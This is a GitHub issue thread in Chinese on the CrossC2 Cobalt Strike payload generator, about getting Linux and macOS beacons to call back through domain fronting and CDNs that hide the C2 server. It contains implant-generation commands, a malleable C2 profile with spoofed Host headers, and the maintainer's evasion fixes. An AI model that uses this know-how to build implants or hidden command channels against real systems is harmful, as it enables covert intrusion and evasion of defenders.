gloxec / CrossC2

generate CobaltStrike's cross-platform payload
2.2k stars 339 forks source link

域前置和mac不上线问题 #60

Closed mackleadmire closed 1 year ago

mackleadmire commented 3 years ago

1.域前置3.14,4.x都不行,经过排查测试,问题可能出在crossc2传参域名有问题,xx.xx.com这个换成ip就没问题 genCrossC2.MacOS xx.xx.com 443 /Users/xx/Desktop/tools/cobaltstrike4/test40.key /Users/xx/Desktop/tools/cobaltstrike4/domain.so Linux x64 ./linip40

2加载malleable c2 情况下,c3.14,4.x的linux后门都可以上线,mac不行

3 加载malleable c2 情况下,windows 测试域前置没问题

4不加载malleable c2 情况下cs3.14 的mac和linux后门都可以成功上线,4.x下linux可以上线,mac无法上线

gloxec commented 3 years ago
  1. 此问题与[ #35 ] 相同,现有版本不支持,新版本已支持并将在近日推送。
  2. 关于mac在4.x上与malleable c2profile无法上线的问题,客户端weblog界面以及服务端teamserver是否有输出信息呢?
mackleadmire commented 3 years ago

2关于mac在4.x上与malleable c2profile无法上线的问题,客户端weblog界面以及服务端teamserver是否有输出信息呢? 这个确实很奇怪,客户端打印了一些信息,没有输出,teamserver也没输出,但是确实发包了,不过包是https的看不到

gloxec commented 3 years ago

域前置问题已支持,malleable c2profile 测试MacOS仍旧是正常的,检查rebind动态库是否为MacOS编译正确。确认无误的话,尝试关闭MacOS SIP再进行测试。

https://github.com/gloxec/CrossC2/releases/tag/v2.2

ATpiu commented 3 years ago

走cdn域名加速来隐藏c2服务器未成功:

  1. 受害机centos7,cs client在mac上
  2. cs版本4.1,crossc2用的https://github.com/gloxec/CrossC2/releases/tag/v2.2,使用ip可以成功上线
  3. c2profile主要内容如下且通过c2lint测试: http-get { set uri "/x/y"; client { header "Accept" "/"; header "Host" "xx.cloudfront.net"; header "accept-language" "zh-CN,zh;q=0.9"; header "pragma" "no-cache"; metadata { base64; header "Cookie"; } } server { header "Server" "Apache-Coyote/1.1"; header "cache-control" "max-age=0"; header "content-encoding" "gzip"; output { print; } } }

http-post { set uri "/x/y/z"; client { header "Accept" "/"; header "Host" "xx.cloudfront.net"; header "accept-language" "zh-CN,zh;q=0.9"; header "pragma" "no-cache"; id { parameter "sn"; } output { print; } } server { header "Server" "Apache-Coyote/1.1"; header "cache-control" "max-age=0"; header "content-encoding" "gzip"; output { print; } }

  1. genCrossC2命令:./genCrossC2.MacOS xx.cloudfront.net 443 ./.cobaltstrike.beacon_keys null Linux x64 domain 5.cs listener配置如下 image

不知道是哪里出了问题,一直没上线

gloxec commented 3 years ago

走cdn域名加速来隐藏c2服务器未成功: ...

  1. genCrossC2命令:./genCrossC2.MacOS xx.cloudfront.net 443 ./.cobaltstrike.beacon_keys null Linux x64 domain 5.cs listener配置如下 ...

@ATpiu

  1. 这里的host应当指定CDN解析IP或者IP列表(列表类型中每个IP用逗号间隔),比如 ./genCrossC2.MacOS 11.11.11.11,22.22.22.22,33.33.33.33 443 ./.cobaltstrike.beacon_keys rebind_x64.so Linux x64 domain 这样,不影响windows listener的情况下,cs listener配置时也可指定好CDN IP
  2. 因为配置了c2profile的缘故,所以这里需要根据你的c2profile编译一份通讯协议重绑定的动态库,具体例子详见 https://github.com/gloxec/CrossC2/tree/cs4.1/protocol_demo ,在使用genCrossC2.MacOS生成时指定上即可
pwnninja commented 3 years ago

我用了最新版v2.2.1,但请问为什么CDN域名的方式仍然无法上线,而直接CC IP可以上线。我用的是cloudflare CDN,没有用Malleable C2配置文件。 我用两种生成命令的方法,都不能成功: (1) ./genCrossC2.Linux 172.67.x.x,104.21.y.y 8443 ../../.cobaltstrike.beacon_keys null Linux x64 trojan (2) ./genCrossC2.Linux my.domain.com 8443 ../../.cobaltstrike.beacon_keys null Linux x64 trojan

ATpiu commented 3 years ago

@gloxec 这几天又试了下最新版v2.2.4,按你建议host指定cdn ip list,使用默认的c2profile,还是尝试走cloudflare cdn上线未成功(走CC IP可以)。 背景:

  1. cs 4.1
  2. CrossC2 v2.2.4
  3. 受害机centos7
  4. cloudflare cdn

配置:

  1. cs listener配置 image
  2. genCrossC2命令:./genCrossC2.MacOS 104.x.x.x,172.x.x.x 443 ./.cobaltstrike.beacon_keys null Linux x64 /x/x/domain
  3. cdn:cdn已经配置了好几天,且相同cdn、域名和服务端,走windows cs cdn上线成功,应该不是cdn问题
  4. 客户端回显:无论./genCrossC2.MacOS 104.x.x.x,172.x.x.x 443 .....命令此处写的是ip list的逗号分隔还是域名,客户端始终回显[conf]: alive,但是机子确实没上线,web log和event log没任何输出
  5. tcpdump完整抓包: 有抓到和上述其中一个cdn解析ip104.x.x.x的通讯,不过没上线 image
  6. 其他 比较有意思的是,如果马放在cs服务端所在服务器,用这种配置(不管genCrossC2命令写ip list还是域名)都可成功上线,可正常执行命令,但是tcpdump没抓到任何和cdn ip list的通信 不知道 @mackleadmire 所说”4不加载malleable c2 情况下cs3.14 的mac和linux后门都可以成功上线,4.x下linux可以上线,mac无法上线“是不是这种情况 image
gloxec commented 3 years ago

@pwnninja @ATpiu 建议以后新开issue,这里没有提示😿

这里CDN无法上线的原因是因为没有配置rebind库,参考上期回复,否则最终发送的包为

GET / HTTP/1.1
Host: x.x.x.x(CDN IP)
Accept: */*
...

metadata

这样的数据包到CDN服务器后,因为内容并不符合转发的请求,如HOST字段等,所以会丢弃,这种需要修改HTTP请求包的上线方式,不论是否配置其他c2profile,都需要借助指定rebind库来完成。

走cdn域名加速来隐藏c2服务器未成功: ...

  1. genCrossC2命令:./genCrossC2.MacOS xx.cloudfront.net 443 ./.cobaltstrike.beacon_keys null Linux x64 domain 5.cs listener配置如下 ...

@ATpiu

  1. 这里的host应当指定CDN解析IP或者IP列表(列表类型中每个IP用逗号间隔),比如 ./genCrossC2.MacOS 11.11.11.11,22.22.22.22,33.33.33.33 443 ./.cobaltstrike.beacon_keys rebind_x64.so Linux x64 domain 这样,不影响windows listener的情况下,cs listener配置时也可指定好CDN IP
  2. 因为配置了c2profile的缘故,所以这里需要根据你的c2profile编译一份通讯协议重绑定的动态库,具体例子详见 https://github.com/gloxec/CrossC2/tree/cs4.1/protocol_demo ,在使用genCrossC2.MacOS生成时指定上即可
yanghaoi commented 2 years ago

@gloxec这几天又试了下最新版v2.2.4,按照你建议的主机指定cdn ip list,使用默认的c2profile,还是试点走cloudflare cdn上线未成功(走CC IP可以)。 背景:

  1. cs 4.1
  2. CrossC2 v2.2.4
  3. 受害机centos7
  4. 云耀斑CDN

配置:

  1. cs监听器配置 图像
  2. genCrossC2命令:./genCrossC2.MacOS 104.xxx,172.xxx 443 ./.cobaltstrike.beacon_keys null Linux x64 /x/x/domain
  3. cdn:cdn已经配置了好几天,且相同的cdn、域名和服务端,走windows cs cdn上线成功,应该不是cdn问题
  4. 客户端回显:无论./genCrossC2.MacOS 104.xxx,172.xxx 443.....机子确实没上线,web日志和事件日志没任何输出
  5. tcpdump完整抓包: 有抓到和上述其中一个cdn解析ip104.xxx的通讯,还没上线 图像
  6. 其他地方 是,如果马放置c服务端服务器,用这种配置(不管genC2命令写ip列表还是域名)都可以成功上线,可以执行命令,但是tcpdump没有正常抓取到和cdn ip列表的通信 不知道@mackleadmire所说的“4 不加载可塑性 c2 情况下 cs3.14 的 mac 和 linux 后门都可以成功上线,4.x下linux 可以上线,mac 无法上线”是不是这种情况 图像

老哥这个解决了吗,使用cf的cdn还是没法成功,不使用cdn倒是可以。(我使用了rebind.so)

gloxec commented 2 years ago

@yanghaoi CF的CDN请尝试使用该版本: https://github.com/gloxec/CrossC2/issues/87#issuecomment-872095711 生成时指定域名: ./genCrossC2 域名,由CDN IP改为域名

yanghaoi commented 2 years ago

@yanghaoi CF的CDN请尝试使用该版本:#87(评论) 生成时指定./genCrossC2 域名域名:,由CDN IP改为域名 这个版本可以使用域名正常上线了,但是似乎心跳不是很稳定,有时候上线一次就不回了,有时候执行几个命令后就不返回了: image

gloxec commented 2 years ago

@yanghaoi beacon进程还在吗?在的话抓包看看是否还在和CDN通信呢?以及尝试在rebind.so中输出通信交互内容,看数据是否在正常传递? 如果不在的话,检查是否是rebind.so处理数据时导致异常退出?

yanghaoi commented 2 years ago

进程还在,抓包看没有和cdn通信;rebind.so中打印交互内容心跳包和POST包内容是正常的,但是隔一段时间就没反应了。执行某些返回数据比较大的命令(比如安装了docker后执行ifconfig,会有很多网卡这种)会直接进入这种状态。不知道有没有可能是访问域名超时导致beacon处在某个异常阶段循环。这里的profile用的是 https://github.com/Richard-Tang/CrossC2-C2Profile

gloxec commented 2 years ago

@yanghaoi @mackleadmire 发现beacon绑定了rebind库后还是与部分CDN通信失败的错误,新版本 v3.1.0 已修复该问题 https://github.com/gloxec/CrossC2/releases/tag/v3.1.0